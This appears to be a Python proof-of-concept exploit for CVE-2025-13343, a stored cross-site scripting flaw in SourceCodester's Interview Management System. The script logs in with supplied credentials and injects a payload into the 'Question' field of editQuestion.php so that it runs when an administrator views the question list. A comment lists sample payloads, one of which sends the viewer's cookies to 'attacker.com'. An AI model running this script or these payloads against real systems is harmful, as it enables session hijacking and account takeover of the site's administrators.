import requests
import argparse
# CVE-2025-13343 PoC - SourceCodester Interview Management System XSS
# Target: /editQuestion.php
# Parameter: Question
def exploit_xss(target_url, username, password, payload):
"""
Exploit stored XSS in Question parameter of editQuestion.php
Args:
target_url: Base URL of the vulnerable application
username: Valid username for authentication
password: User password
payload: XSS payload to inject
"""
session = requests.Session()
# Step 1: Login to get authenticated session
login_url = f"{target_url}/login.php"
login_data = {
"username": username,
"password": password
}
try:
response = session.post(login_url, data=login_data, timeout=10)
print(f"[*] Login attempt completed. Status: {response.status_code}")
# Step 2: Create initial question
create_url = f"{target_url}/addQuestion.php"
question_data = {
"question": "Initial question for testing",
"category": "Technical",
"submit": "submit"
}
response = session.post(create_url, data=question_data, timeout=10)
print(f"[*] Question created. Status: {response.status_code}")
# Step 3: Exploit XSS by editing the question with malicious payload
edit_url = f"{target_url}/editQuestion.php"
edit_data = {
"id": "1", # Adjust question ID as needed
"Question": payload, # XSS payload injection point
"submit": "Update"
}
response = session.post(edit_url, data=edit_data, timeout=10)
print(f"[*] XSS payload injected. Status: {response.status_code}")
print(f"[*] Payload: {payload}")
print(f"[!] XSS will trigger when admin views the question list")
# Common XSS payloads for testing:
# <script>alert(document.domain)</script>
# <img src=x onerror=alert('XSS')>
# <svg/onload=fetch('http://attacker.com/?c='+document.cookie)>
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-13343 XSS Exploit')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-un', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
parser.add_argument('-x', '--payload', default='<script>alert(document.cookie)</script>', help='XSS Payload')
args = parser.parse_args()
exploit_xss(args.url, args.username, args.password, args.payload)